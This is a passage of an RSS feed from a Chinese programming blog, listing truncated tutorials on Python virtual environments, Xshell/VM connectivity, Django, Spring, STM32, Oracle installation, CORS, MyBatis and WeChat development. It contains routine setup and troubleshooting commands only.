      <description>目录 前言&#xA;虚拟环境简介&#xA;虚拟环境依赖模块的安装&#xA;1、安装好Python环境&#xA;2、安装第三方库（虚拟环境库）&#xA;3、 安装第三方模块virtualenvwrapper-win&#xA;为虚拟环境配置环境变量&#xA;1、配置环境变量&#xA;2、点击环境变量&#xA;3、在系统变量中，点击新建&#xA;4、新建系统变量​编辑&#xA;虚拟环境相关操作&#xA;1、新建虚拟环境&#xA;2、查看虚拟环境配置情况&#xA;3、退出虚拟环境&#xA;4、删除虚拟环境&#xA;补充：virtualenv创建虚拟环境&#xA;1、安装好Python&#xA;2、安装第三方模块virtualenv&#xA;3、创建虚拟环境&#xA;4、激活虚拟环境&#xA;5、退出虚拟环境&#xA;6、删除虚拟环境&#xA;前言 如果希望方便自定义虚拟环境的安装路径，且以后方便使用管理，按照文章顺序阅读、进行操作即可；这个步骤较为复杂。如果不介意虚拟环境安装在C盘下，为了快速上手使用，可以考虑直接跳到补充内容下，和前文是互相独立了，而且步骤简单。 虚拟环境简介 虚拟环境英文名是virtual environment，它是一个虚拟化，从电脑独立开辟出来的环境。通俗的来讲，虚拟环境就是借助虚拟机来把一部分内容独立出来，我们把这部分独立出来的东西称作“容器”，在这个容器中，我们可以只安装我们需要的依赖包，各个容器之间互相隔离，互不影响。&#xA;例如：我的电脑已经安装了Python3，我想使用Python2，就可以在虚拟环境中安装Python2，与电脑中的Python3不冲突。&#xA;虚拟环境依赖模块的安装 1、安装好Python环境 2、安装第三方库（虚拟环境库） Python的第三方库virtualenv能够帮助我们创建虚拟环境，安装命令如下：&#xA;pip install virtualenv PS：使用virtualenv中的命令来创建虚拟环境的话，会默认同时在C盘用户目录中也创建一个环境，会占用C盘内存（我的用户名是buting）：&#xA;因此，我们优先选择下面这一种创建虚拟环境的方式。 3、 安装第三方模块virtualenvwrapper-win virtualenvwrapper-win是一个基于virtualenv开发的工具包。&#xA;安装命令如下(需要先安装virtualenv)：&#xA;pip install virtualenvwrapper-win 为虚拟环境配置环境变量 1、配置环境变量 先打开高级系统设置（如果不知道在哪里的话，可以在搜索框里面搜索；还有设置里面，也会有查找设置的搜索框）&#xA;2、点击环境变量 3、在系统变量中，点击新建 4、新建系统变量 变量名设置为：WORKON_HOME，注意变量名一定要大写；&#xA;变量值为你想新建环境变量的目录路径，建议在D盘或者E盘新建一个用来作为虚拟环境的目录，这样空间比较充裕。&#xA;虚拟环境相关操作 1、新建虚拟环境 我在配置环境变量时写的变量值是：D:\env，所以我新建虚拟环境就会默认存储到D:\env；&#xA;新建虚拟环境的命令如下：&#xA;mkvirtualenv 例如：我想创建一个名为my_env的虚拟环境，我在cmd输入mkvirtualenv my_env即可（在cmd任意目录下输入都可以）：&#xA;创建好虚拟环境my_env后，会自动跳转到my_env目录下，路径前面有(my_env)：&#xA;而且系统会默认为新建的虚拟环境配置电脑中安装好的Python环境（只包括部分执行命令，没有相关第三方模块），当然我们也可以在新虚拟环境my_env中重新安装Python。&#xA;2、查看虚拟环境配置情况 在cmd中运行 workon或者lsvirtualenv即可查看当前的虚拟环境配置情况：&#xA;3、退出虚拟环境 deactivate 4、删除虚拟环境 rmvirtualenv 已经成功删除虚拟环境my_env。</description>
    </item>
    <item>
      <title>Xshell连接不上虚拟机的解决办法汇总</title>
      <link>https://bchobby.github.io/posts/a8abfbe9e9a6bd64faae77a8662411bb/</link>
      <pubDate>Sat, 04 Mar 2023 20:06:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8abfbe9e9a6bd64faae77a8662411bb/</guid>
      <description>一：关于ping的问题&#xA;1.虚拟机ping百度&#xA;2.windows下ping linux的ip地址&#xA;3.linux下ping windows&#xA;二:防火墙的问题&#xA;三:ssh服务&#xA;四:VM中的还原默认设置&#xA;还原后的更改设置&#xA;五:相关服务是否打开&#xA;六:卸载VM软件重装&#xA;一：关于ping的问题&#xA;1.虚拟机ping百度&#xA;在虚拟机中ping百度看能不能先ping通，如果虚拟机连接不上网络的话Xshell肯定是连接不上的。&#xA;解决办法：点击虚拟机中的编辑–&amp;gt;虚拟网络编辑器&#xA;从这两张图中我们可以看到netmask和gateway对应的值，然后 vi /etc/sysconfig/network-scripts/ifcfg-ens33（注意最后的这个-ens33可能有的人的网卡并不一样，有的人的网卡是eth0）&#xA;然后在这个文件中按照如下的样例更改wq保存&#xA;保存好以后再运行 service network restart重启下网络就可以了&#xA;2.windows下ping linux的ip地址&#xA;以上问题解决以后查看windows下能否ping通linux的ip地址&#xA;ping不通的话可以采用以下办法解决&#xA;控制面板–&amp;gt;网络和 Internet–&amp;gt;网络连接&#xA;选择VM8后按照如下进行配置，注意图里面的ip地址配置是这样的，在博客第一张图中右下角可以看到一个子网IP，假如我们的子网IP是192.168.10.0，里面IP地址就填写192.168.10.1，子网IP是192.168.20.0,里面IP地址就填写192.168.20.1&#xA;此时点击确定以后我们在点击一下VM8的禁用，点击完以后禁用再右键单击一下启用,这时再去ping下linux的主机IP就能通了(虽然有点sb的操作，但是我试过了貌似只有这样才可以，就像重启操作一样，其实在很多时候windows下ping不通linux我们都可以先禁用一下VM8然后在启用它基本上就解决了)&#xA;3.linux下ping windows&#xA;一般情况下linux都是能ping通windows的，如果ping不通的话可以搜索一下原因，这里我就不叙述了。&#xA;二:防火墙的问题&#xA;二：检查你虚拟机中防火墙是否关闭&#xA;CentOs6中&#xA;查看防火墙状态：service iptables status&#xA;关闭防火墙：service iptables stop&#xA;禁用防火墙：chkconfig iptables off&#xA;CentOs7中&#xA;查看防火墙状态：systemctl status firewalld.service&#xA;关闭防火墙：systemctl stop firewalld.service&#xA;禁用防火墙：systemctl disable firewalld.service&#xA;三:ssh服务&#xA;如果防火墙没问题的话检查ssh服务是否开启&#xA;查看ssh状态：service sshd status&#xA;正常情况下都是active的，如果显示dead的话需要手动开启一下(service sshd start),如果开启时报错说没有安装ssh服务请先移步点这里&#xA;四:VM中的还原默认设置&#xA;如果以上的操作都没问题的话Xshell还是连接不上我们的虚拟机，可以点VM中的 编辑–&amp;gt;虚拟网络编辑器–还原默认设置(这个方法也特别有效&amp;lt;/&amp;gt;)&#xA;注意还原好以后我们主要看一下VM8的</description>
    </item>
    <item>
      <title>Django入门教程</title>
      <link>https://bchobby.github.io/posts/dae2455ed02293e54dcfa0e5689c3d45/</link>
      <pubDate>Sat, 04 Mar 2023 17:56:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae2455ed02293e54dcfa0e5689c3d45/</guid>
      <description>1.简介 Django是一个免费、开源的Python web框架，解决了web开发的许多麻烦，使开发者可以专注于编写应用而无需重复造轮子。&#xA;网站：https://www.djangoproject.com/官方文档：https://docs.djangoproject.com/源代码：https://docs.djangoproject.com/ 2.安装 使用pip安装最新版本的Django：&#xA;pip install django 也可以手动指定版本：&#xA;pip install django==3.2 Django支持的Python版本见What Python version can I use with Django?&#xA;安装完成后，可以在命令行使用django-admin辅助工具：&#xA;$ django-admin --version 3.2.11 3.入门教程 官方教程介绍了如何创建一个简单的投票应用：Writing your first Django app&#xA;该应用由两部分组成：&#xA;一个公共站点，用户可以查看问题并投票。一个管理站点，管理员可以添加、修改和删除问题。 完整代码：https://github.com/ZZy979/DjangoTutorial&#xA;3.1 第1部分：创建项目和应用 3.1.1 创建项目 在命令行中执行以下命令：&#xA;django-admin startproject mysite 该命令创建了一个名为mysite的项目(project)，目录结构如下：&#xA;mysite/ manage.py mysite/ __init__.py settings.py urls.py asgi.py wsgi.py 外层mysite目录：项目根目录，可以放在任何位置，也可以任意重命名。manage.py：Django命令行工具，详见django-admin and manage.py。内层mysite目录：项目的Python包，用于导入模块（例如mysite.urls）。mysite/__init__.py：空文件，告诉Python该目录是一个Python包。mysite/settings.py：设置/配置，详见Django settings。mysite/urls.py：URL声明，相当于网站的“目录”，详见URL dispatcher。mysite/asgi.py：ASGI web服务器的入口，详见How to deploy with ASGI。mysite/wsgi.py：WSGI web服务器的入口，详见How to deploy with WSGI。 在项目根目录下执行以下命令：&#xA;python manage.</description>
    </item>
    <item>
      <title>SpringBoot父类下的所有子类</title>
      <link>https://bchobby.github.io/posts/97456874e3c2de95c81197fd46700eba/</link>
      <pubDate>Sat, 04 Mar 2023 16:39:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97456874e3c2de95c81197fd46700eba/</guid>
      <description>SpringBoot父类下的所有子类 简要 今天在想为什么一些中间件我们只需要实现它指定的接口，这些中间件就会识别到我们自定义的类。。。比如SpringWeb中的WebMvcConfigurer？ 其实这些中间件能识别我们的实现类是使用了反射原理；&#xA;​ 那么在Spring项目中我们如何通过反射原理来实现指定类下面的子类呢？Spring提供了ClassPathScanningCandidateComponentProvider类，可以帮助我们从包路径中获取到所需的 BeanDefinition 集合，然后动态注册 BeanDefinition 到 BeanDefinitionRegistry，到达在容器中动态生成 Bean 的目的&#xA;主要函数&#xA;addIncludeFilter – 添加一个包含过滤器 addExcludeFilter – 添加一个排除过滤器 findCandidateComponents – 核心任务 : 从指定的某个包内扫描目标bean组件定义 resetFilters – 设置包含过滤器和排除过滤器为空 clearCache – 清除扫描过程中所记录的类的元数据信息缓存 具体实现：&#xA;ClassPathScanningCandidateComponentProvider provider = new ClassPathScanningCandidateComponentProvider(false); provider.addIncludeFilter(new AssignableTypeFilter(FaterInterface.class));//查找某个类的子类 Set&amp;lt;BeanDefinition&amp;gt; sonclass = provider.findCandidateComponents(&#34;com.&#34;);//扫描指定包并返回子类 for (BeanDefinition s : sonclass) { //可通过反射进行业务操作 Class&amp;lt;?&amp;gt; aClass = Class.forName(s.getBeanClassName()); } 例1 ​ 普通类实现父类下子类的创建，并注册到spring容器中；&#xA;配置类：&#xA;@Configuration @Slf4j public class CreateBeanAutoConfig { @Bean public void getSonClass() { ClassPathScanningCandidateComponentProvider provider = new ClassPathScanningCandidateComponentProvider(false); provider.</description>
    </item>
    <item>
      <title>Ubuntu 20.04 ARM64 安装 Seismic Unix基本步骤及错误处理 - 2021年9月20日更新</title>
      <link>https://bchobby.github.io/posts/b2d86cdaeb605cb5084439fa95821ba0/</link>
      <pubDate>Sat, 04 Mar 2023 15:54:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2d86cdaeb605cb5084439fa95821ba0/</guid>
      <description>推荐阅读Seismic Unix官网安装文档：https://www.seismicrocks.com/seismicunix/seismicrocks_script_endianness-suswapbytes.pdf&#xA;2021 9.20更新----&#xA;安装环境：Macbook Air M1，Parallels desktop安装的Ubuntu 20.04 Arm64&#xA;1.在CWP官网下载Seismic Unix的压缩文件包cwp_su_all_44R23.tar：Nextcloud这一步需要翻墙，如果翻不了可以找我要。&#xA;2.在/home/user目录下创建su目录，将cwp_su_all_44R23.tar解压到该目录，可以直接解压，也可以用命令操作：&#xA;tar zxvf cwp_su_all_44R23.tar -C /home/user/su 3.预安装必要的软件包&#xA;sudo apt-get update sudo apt-get install build-essential sudo apt-get install libx11-dev sudo apt-get install libxt-dev sudo apt-get install freeglut3 sudo apt-get install freeglut3-dev sudo apt-get install libxmu-dev sudo apt-get install libxi-dev sudo apt-get install gfortran 4.设置环境变量&#xA;vim ~/.bashrc 在bashrc文件的末尾添加&#xA;export CWPROOT=/home/user/su export PATH=$PATH:/home/user/su/bin 保存退出后执行：&#xA;source ～/.bashrc 5.修改Makefile&#xA;进入src文件夹：cd /home/user/su/src&#xA;打开Makefile文件：vim Makefile</description>
    </item>
    <item>
      <title>【Clion&#43;CubeMX开发STM32】（二）创建自己的工程</title>
      <link>https://bchobby.github.io/posts/4f9842c8c2b7f59b3094848ad684ea53/</link>
      <pubDate>Sat, 04 Mar 2023 15:37:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f9842c8c2b7f59b3094848ad684ea53/</guid>
      <description>目录 新建工程修改芯片型号添加自己的文件将自己的文件添加Cmake项目——修改CMakeLists_template,txt烧录程序——编写.cfg文件编写.cfg文件 新建工程 打开你的Clion，点击新建工程&#xA;在左侧找到STM32CubeMX，点击后在上方选择工程所在位置。&#xA;比如我的工程要存放在ClionSTM32文件夹下面，我在其后面写上我的工程名即可&#xA;设置好后点击右下角的创建&#xA;将untitled换成你的新工程名&#xA;点击创建&#xA;等待工程创建之后，会弹出“选择面板配置文件”&#xA;这个选择跳过，如果有你所用的开发板型号，可以直接选择。&#xA;如果你用的是自己的开发板或者是淘宝购买的非ST官方的板子，都选择跳过。后面会自己创建cfg文件&#xA;然后在左侧找到.ioc文件，也就是CubeMX的文件，点击“通过STM32CubeMX打开”，随后在CubeMX上配置你的工程文件&#xA;需要注意的是，工程默认芯片型号是F030F4Px&#xA;所以打开CubeMX之后需要先修改芯片型号&#xA;修改芯片型号 更换芯片型号&#xA;搜索芯片型号，后面按照自己的工程要求配置即可,CubeMX工程配置这里不做过多讲解&#xA;配置好工程后，要按照Clion创建时的工程名字和路径填写&#xA;先修改名字路径，再选择IDE为“STM32CubeIDE”&#xA;配置完成后，点击右上角的“generate code”&#xA;生成之后点击close，不要点击另外两个“open***”&#xA;然后回到刚刚的Clion工程&#xA;左侧可以看到有Inc和Src两个目录&#xA;Src里放这.c源文件 Inc里放着.h头文件&#xA;如果要添加自己的文件，只能分别添加在Src和Inc目录中&#xA;添加自己的文件 若想添加自己的目录，可以按照下面的方法&#xA;先右键工程名，新建—目录，填写文件夹名称，比如“template”&#xA;当然你也可以在文件夹内进行操作&#xA;将你自己的文件放置在工程目录里，Clion也会自动识别&#xA;找到新建的目录，右键新建两个文件，分别命名为template.c和template.h&#xA;创建好后可以在左侧看见自己创建的文件夹，打开你新建的.c和,h文件&#xA;可以看见上方提示不属于任何项目&#xA;所以我们还需要将其添加进Cmake里&#xA;将自己的文件添加Cmake项目——修改CMakeLists_template,txt 打开左方的“CMakeLists.txt”，可以看见上方提示“此文件从模板自动生成！请勿更改”&#xA;所以我们不在此文件里修改，因为每次从CubeMX里generate code生成代码后，该文件都会重新生成，导致我们在此文件做的修改都会被删除&#xA;所以我们需要在模板文件中修改添加文件路径&#xA;打开左侧的“CMakeLists_template,txt”&#xA;打开后找到“include_directories(${includes})”和“file(GLOB_RECURSE SOURCES ${sources})”&#xA;大概在51行附近&#xA;在include_directories中加入.h头文件的地址&#xA;在file中加入.c源文件所在的文件夹名称&#xA;这是我刚刚新建文件的路径,&#xA;ClionSTM32是我用来存放工程的文件夹&#xA;untitled是工程名，也就是我的工程文件夹&#xA;template是刚刚新建用来存放我的功能文件.c .h的文件夹&#xA;如上图，将template的路径添加进去，如果你的路径有子目录的话，如我的Debug文件在USER文件夹下面，按照上面的格式填入进去即可，不同的文件中间以空格隔开&#xA;对于.c源文件只需要填入文件的第一级目录&#xA;而.h文件则需要填写至.h文件的最后一级目录&#xA;修改完成之后，需要在CubeMX中重新generate code以更新你的CMakeLists.txt&#xA;重新生成后等待CMake加载完成就可以发现上方的提示已经没有了&#xA;如果还有提示，可以按上图重修加载一下你的CMake&#xA;如果仍然有问题，建议再对照一下上一步然后CubeMX里重新generate code&#xA;大部分和CMake有关的问题都可以试着generate code一下看看&#xA;烧录程序——编写.cfg文件 右上角的三个绿色按键分别是编译、下载和调试&#xA;编写完代码之后就可以编译并烧录&#xA;点击编译后，出现上方的“构建 已完成”，即表示编译成功，程序没有报错</description>
    </item>
    <item>
      <title>python日期、时间戳和日期字符串之间的转换</title>
      <link>https://bchobby.github.io/posts/5d6aaa11fd9cfddf415fa16a5b3bb103/</link>
      <pubDate>Sat, 04 Mar 2023 15:05:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d6aaa11fd9cfddf415fa16a5b3bb103/</guid>
      <description>此段时间涉及日期和时间戳数据处理较多，转化频繁，总结日期、时间戳、日期字符串之前的转化如下：&#xA;引入必要时间相关库：&#xA;import time, datetime import dateutil.relativedelta 返回当前日期的元组（struct_time）,含有9个元素的元组 now_time = time.time() # 返回时间戳，浮点秒数 my_struct = time.localtime(time.time()) print( my_struct) #输出 time.struct_time(tm_year=2023, tm_mon=3, tm_mday=3, tm_hour=16, tm_min=42, tm_sec=36, tm_wday=4, tm_yday=62, tm_isdst=0) 当前时间戳 my_timestamp = time.mktime(time.localtime(time.time())) print(my_timestamp) # 输出 1677832956.0 时间戳—&amp;gt;日期字符串 my_date_str = time.strftime(&#34;%Y-%m-%d %H:%M:%S&#34;, time.localtime(my_timestamp)) print(my_date_str) # 输出 &#39;2023-03-03 16:42:36&#39; 日期字符串—&amp;gt;日期datetime my_date = datetime.datetime.strptime(my_date_str, &#34;%Y-%m-%d %H:%M:%S&#34;) print(my_date) # 输出 2023-03-03 16:42:36 时间戳—&amp;gt;日期datetime stamp_to_datatime = datetime.datetime.strptime(time.strftime(&#34;%Y-%m-%d %H:%M:%S&#34;, time.localtime(my_timestamp)),&#34;%Y-%m-%d %H:%M:%S&#34;) print(stamp_to_datatime) # 输出 2023-03-03 16:42:36 日期datetime—&amp;gt;时间戳 my_timestamp_1 = int(time.</description>
    </item>
    <item>
      <title>ORACLE—静默安装</title>
      <link>https://bchobby.github.io/posts/a786b2d2453e23e5dbd7febfa8047b57/</link>
      <pubDate>Sat, 04 Mar 2023 14:23:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a786b2d2453e23e5dbd7febfa8047b57/</guid>
      <description>1、安装依赖软件 yum install bc binutils compat-libcap1 compat-libstdc++ dtrace-modules dtrace-modules-headers dtrace-modules-provider-headers dtrace-utils elfutils-libelf elfutils-libelf elfutils-libelf-devel fontconfig-devel elfutils-libelf-devel-static gcc gcc-c++ glibc glibc-common glibc-devel glibc-headers kernel-headers ksh libaio libaio-devel libgcc libgomp libstdc++ libstdc+±devel libdtrace-ctf-devel libX11 libXau libXi libXtst libXrender libXrender-devel libgcc librdmacm-devel libstdc++ libstdc+±devel libxcb make net-tools nfs-utils python python-configshell python-rtslib python-six smartmontools targetcli unzip vim sysstat unixODBC unixODBC-devel&#xA;离线安装命令 rpm -ivh *.rpm --force --nodeps 查看依赖包&#xA;rpm -qa bc binutils compat-libcap1 compat-libstdc++ dtrace-modules dtrace-modules-headers dtrace-modules-provider-headers dtrace-utils elfutils-libelf elfutils-libelf elfutils-libelf-devel fontconfig-devel elfutils-libelf-devel-static gcc gcc-c++ glibc glibc-common glibc-devel glibc-headers kernel-headers ksh libaio libaio-devel libgcc libgomp libstdc++ libstdc+±devel libdtrace-ctf-devel libX11 libXau libXi libXtst libXrender libXrender-devel libgcc librdmacm-devel libstdc++ libstdc+±devel libxcb make net-tools nfs-utils python python-configshell python-rtslib python-six smartmontools targetcli unzip vim sysstat unixODBC unixODBC-devel</description>
    </item>
    <item>
      <title>重装MySql后使用Navicat访问数据库出现access denied for user ‘root‘@‘localhost‘(using password:Yes)的解决办法</title>
      <link>https://bchobby.github.io/posts/8c632cd471adc4b89a03a19cf400fd94/</link>
      <pubDate>Sat, 04 Mar 2023 11:57:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c632cd471adc4b89a03a19cf400fd94/</guid>
      <description> 1、确保MySql正在运行 2、右键点击Navicat中的MySql图标，选择连接属性，将密码换成重装MySql时设置的密码，点击‘确认’后双击图标即可连接 </description>
    </item>
    <item>
      <title>微信支付踩坑记-签名错误，请检查后再试</title>
      <link>https://bchobby.github.io/posts/8d9bcbfe4808ac05f8921e6095152792/</link>
      <pubDate>Fri, 03 Mar 2023 20:25:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d9bcbfe4808ac05f8921e6095152792/</guid>
      <description>注册商户号，使用微信支付功能。&#xA;直接无脑设置v3密钥，然后配合wxjava这个包进行开发。结果试了很多遍，都报错。&#xA;最后才发现，我一直使用的v2验证方式，之前都没有设置过v2密钥。最后把v2密钥设置成和v3一样，重新试了一下，解决问题。&#xA;最后附上v2和v3区别</description>
    </item>
    <item>
      <title>火狐已拦截跨源请求：同源策略禁止读取位于 ，CORS跨域</title>
      <link>https://bchobby.github.io/posts/96c1ccba2ed1e38414850c80211f5a47/</link>
      <pubDate>Fri, 03 Mar 2023 17:32:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96c1ccba2ed1e38414850c80211f5a47/</guid>
      <description>浏览器是网页的渲染着和执行者，为了安全，浏览器默认是不允许跨源请求的，即CORS跨域（跨域资源共享，Cross-Origin Resource Sharing）的，也就是说默认不允许从来自于A服务器上的页面中访问B服务器上的资源。（这里可以参考“同源”的概念）。&#xA;如果要想允许跨源访问，需要指示浏览器允许跨源访问，CORS约定中需要通过发送CORS标头（Access-Control-Allow-Origin:*）来达到目的。这个标头可以是web服务器在响应请求时发送，也可以嵌在html页面中。如果由web服务器发送，则不同的web服务器方法不一样，请查相应的web服务器配置方法，它的好处是会影响一批web页面。如果是嵌在html页面中，就在头部中嵌入&amp;lt;meta http-equiv=&#34;Access-Control-Allow-Origin&#34; content=&#34;*&#34;&amp;gt;，只影响本页面。&#xA;很不幸的是即使这样，有时候会出现“原因：CORS 预检响应的 &#39;Access-Control-Allow-Headers&#39;，不允许使用头 &#39;content-type&#39;）”这样的错误。这是因为CORS跨域请求又分为简单请求和复杂请求，你的请求属于复杂请求了。请参考CORS跨域简单请求和复杂请求的定义。要么把你的请求简单化（大部分情况下是可以的），要么配置另一个CORS标头（Access-Control-Request-Header），那就更复杂了。&#xA;注意：标头是加在最终被访问资源处的，如果是第一段的情况，是加在B上，不是A上。浏览器的验证发生在B上的资源返回以后。&#xA;详细请参考：&#xA;前端网络基础 - 跨域xhr/fetch_xhr 跨域_伏城之外的博客-CSDN博客</description>
    </item>
    <item>
      <title>Mabatis映射文件中的association标签联合select属性的使用</title>
      <link>https://bchobby.github.io/posts/614cd0573cc67ff4cbc56b7d45ac659d/</link>
      <pubDate>Fri, 03 Mar 2023 16:13:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/614cd0573cc67ff4cbc56b7d45ac659d/</guid>
      <description>先来看一段映射文件 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!DOCTYPE mapper PUBLIC &#34;-//mybatis.org//DTD Mapper 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-mapper.dtd&#34;&amp;gt; &amp;lt;mapper namespace=&#34;com.lkd.dao.RegionDao&#34;&amp;gt; &amp;lt;!-- 通用查询映射结果 --&amp;gt; &amp;lt;resultMap id=&#34;regionMap&#34; type=&#34;com.lkd.entity.RegionEntity&#34; autoMapping=&#34;true&#34;&amp;gt; &amp;lt;id column=&#34;id&#34; property=&#34;id&#34; /&amp;gt; &amp;lt;result column=&#34;name&#34; property=&#34;name&#34; /&amp;gt; &amp;lt;result column=&#34;remark&#34; property=&#34;remark&#34; /&amp;gt; &amp;lt;association property=&#34;nodeCount&#34; column=&#34;id&#34; select=&#34;com.lkd.dao.NodeDao.selectCountByRegionId&#34;&amp;gt;&amp;lt;/association&amp;gt; &amp;lt;/resultMap&amp;gt; &amp;lt;/mapper&amp;gt; resultMap标签的作用在这里就不多说了&#xA;我们来回顾一下association标签的作用: 配置关联对象的映射关系 , 一般与resultMap标签联合使用&#xA;怎么理解这句话呢?&#xA;association(一对一)：映射到JavaBean的某个“复杂类型”属性，比如JavaBean类，即JavaBean，即JavaBean内部嵌套一个复杂数据类型(JavaBean)属性，这种情况就属于复杂类型的关联。但是需要注意：association仅处理一对一的关联关系。&#xA;而在这里,它并不是映射了一个复杂类型的属性,看下该xml文件所对应的实体类&#xA;@Data @TableName(value = &#34;tb_region&#34;,autoResultMap = true,resultMap = &#34;regionMap&#34;) public class RegionEntity { @TableId(value = &#34;id&#34;,type = IdType.ASSIGN_ID) private Long id; private String name; private String remark; @TableField(exist = false)//表示并非该表字段 private Integer nodeCount; @TableField(exist = false) private List&amp;lt;NodeEntity&amp;gt; nodeList; } 很明显,一个普通的包装类</description>
    </item>
    <item>
      <title>【微信小程序】-- 网络数据请求（十九）</title>
      <link>https://bchobby.github.io/posts/b98cf64138f7f6f1da62720526ad4dc5/</link>
      <pubDate>Fri, 03 Mar 2023 14:36:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b98cf64138f7f6f1da62720526ad4dc5/</guid>
      <description>💌 所属专栏：【微信小程序开发教程】 😀 作 者：我是夜阑的狗🐶 🚀 个人简介：一个正在努力学技术的CV工程师，专注基础和实战分享 ，欢迎咨询！&#xA;💖 欢迎大家：这里是CSDN，我总结知识的地方，喜欢的话请三连，有问题请私信 😘 😘 😘&#xA;文章目录 前言一、网络数据请求1、小程序中网络数据请求的限制2、配置 request 合法域名3、发起 GET 请求4、发起 POST请求5、在页面刚加载时请求数据6、跳过 request 合法域名校验7、关于跨域和 Ajax 的说明 总结 前言 大家好，又见面了，我是夜阑的狗🐶，本文是专栏【微信小程序开发教程】专栏的第19篇文章;&#xA;今天开始学习微信小程序的第十天💖💖💖，开启新的征程，记录最美好的时刻🎉，每天进步一点点。&#xA;专栏地址：【微信小程序开发教程】， 此专栏是我是夜阑的狗微信小程序开发过程的总结，希望能够加深自己的印象，以及帮助到其他的小伙伴😉😉。&#xA;如果文章有什么需要改进的地方还请大佬不吝赐教👏👏。&#xA;一、网络数据请求 前面已经介绍完了页面配置，通过栗子学习了如何单独对页面进行配置。接下来就来讲解一下小程序的网络数据请求。话不多说，让我们原文再续，书接上回吧。&#xA;1、小程序中网络数据请求的限制 小程序官方出于安全性方面的考虑，对数据接口的请求做出了如下两个限制：&#xA;只能请求 HTTPS 类型的接口，无法请求 HTTP 类型接口；&#xA;如果要请求某个域名下的接口，必须将接口的域名添加到信任列表中；&#xA;比如通过微信开发者工具，请求百度API相关的接口，需要操作：&#xA;详细 --&amp;gt; 项目配置 --&amp;gt; 域名信息 --&amp;gt; request 合法域名&#xA;request 合法域名一开始默认是空的（未设置）。比如要用到百度API的接口，需要将百度API的域名（https://aip.baidubce.com）填写到 request 合法域名即可。当配置成功之后，就可以在自己的小程序中去请求这个域名下的所有接口。&#xA;2、配置 request 合法域名 前面大致了解到了如何配置域名，接下来用栗子来学习一下整个配置过程。这里以自己微信小程序为例，希望请求 https://www.escook.cn/ 域名下的接口，具体步骤为：&#xA;登录微信小程序管理后台 -&amp;gt; 开发 -&amp;gt; 开发设置 -&amp;gt; 服务器域名 -&amp;gt; 修改 request 合法域名</description>
    </item>
    <item>
      <title>VMware安装win7后，安装VMware Tools时报错——安装程序无法继续。本程序需要您将此虚拟机上安装的操作系统更新到SP1</title>
      <link>https://bchobby.github.io/posts/ac7c96ef4697920f2eec94b1f5ea7968/</link>
      <pubDate>Fri, 03 Mar 2023 13:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac7c96ef4697920f2eec94b1f5ea7968/</guid>
      <description>如图&#xA;针上以上问题的解决方法：&#xA;方案一：&#xA;你用的是这样的镜像：cn_windows_7_professional_vl_build_x64_dvd_x15-71029&#xA;换镜像源、换镜像源、换镜像源！&#xA;换成带sp1的iso镜像：cn_windows_7_enterprise_with_sp1_x64_dvd_u_677685.iso&#xA;方案二：找对应补丁包安装&#xA;下载补丁包：Microsoft Update Catalog</description>
    </item>
    <item>
      <title>history查看历史命令，并显示运行时间</title>
      <link>https://bchobby.github.io/posts/7e9df175e8ab8ba67ea2758b9ccc85ad/</link>
      <pubDate>Fri, 03 Mar 2023 13:29:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e9df175e8ab8ba67ea2758b9ccc85ad/</guid>
      <description>查看历史运行命令及时间&#xA;通常使用history来查看历史运行的命令，直接输入此命令，只会显示运行的命令，没有显示在什么时间运行的，如果要查看运行命令的时间，具体方法通过下面两步就可以显示：&#xA;1.export HISTTIMEFORMAT=&#39;%F %T &#39;&#xA;2.history|grep start</description>
    </item>
    <item>
      <title>linux开发板物联网项目实战之环境检测学生毕业设计首选</title>
      <link>https://bchobby.github.io/posts/88fbd20d9c96ac1485e95124028a167d/</link>
      <pubDate>Fri, 03 Mar 2023 11:32:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88fbd20d9c96ac1485e95124028a167d/</guid>
      <description>stm32mp157开发板FS-MP1A是华清远见自主研发的一款高品质、高性价比的Linux+单片机二合一的嵌入式教学级开发板。开发板搭载ST的STM32MP157高性能微处理器，集成2个Cortex-A7核和1个Cortex-M4 核，A7核上可以跑Linux操作系统，M4核上可以跑FreeRTOS、RT-Thread等实时操作系统。开发板搭配仿真器、显示屏、摄像头、资源扩展板等丰富的扩展模块，可拓展物联网、人工智能等相关技术学习，还可以拓展丰富的项目实战，非常贴合企业当下开发需求，是一款嵌入式Linux入门进阶必备开发板！&#xA;可学习技术：嵌入式Linux应用/系统/驱动开发、ARM裸机开发、Qt界面编程、STM32单片机、FreeRTOS、人工智能机器视觉等。其中ARM Cortex-A7裸机开发课程是华清远见独有特色课程，可关注：https://www.bilibili.com/video/BV1Xe4y1i7vm/，持续更新中。&#xA;14个Linux+Qt综合项目案例，6个MP1A物联网拓展项目&#xA;公众号“华清远见在线实验室”，回复“mp157项目”，即可领取项目配套文档及源码。 Linux+Qt综合项目案例：华清远见stm32mp157开发板优势特色部分，包括音乐播放器、智慧家庭、智能工业电表、智能出行助手、智能猫眼、环境监测、智能安防、智能语音识别等10余个项目案例，涉及家居、医疗、农业多种应用方向，在案例中使用了多种物联网和嵌入式技术，包括OT开发、linux应用开发、linux驱动开发、物联网云端接入、MQTT协议、json字符串等知识点。&#xA;基于Linux+Qt的环境检测项目 项目功能介绍：&#xA;（1）设计有环境监测功能，通过温湿度、光照传感器实时采集环境温度、湿度、光照显示到 LCD 屏上。&#xA;（2）设计有设备控制功能，通过控制触摸屏来进行控制 3 个 LED 灯、风扇、蜂鸣器。&#xA;（3）设计智能检测功能，用户可以根据自己的需求修改智能检测的阈值，开启智能检测后，当环境达到阈值后会启动设备。比如设置温度阈值为 28 摄氏度，当环境温度达到 28 摄氏度时，会自动开启风扇。设置一级照明为 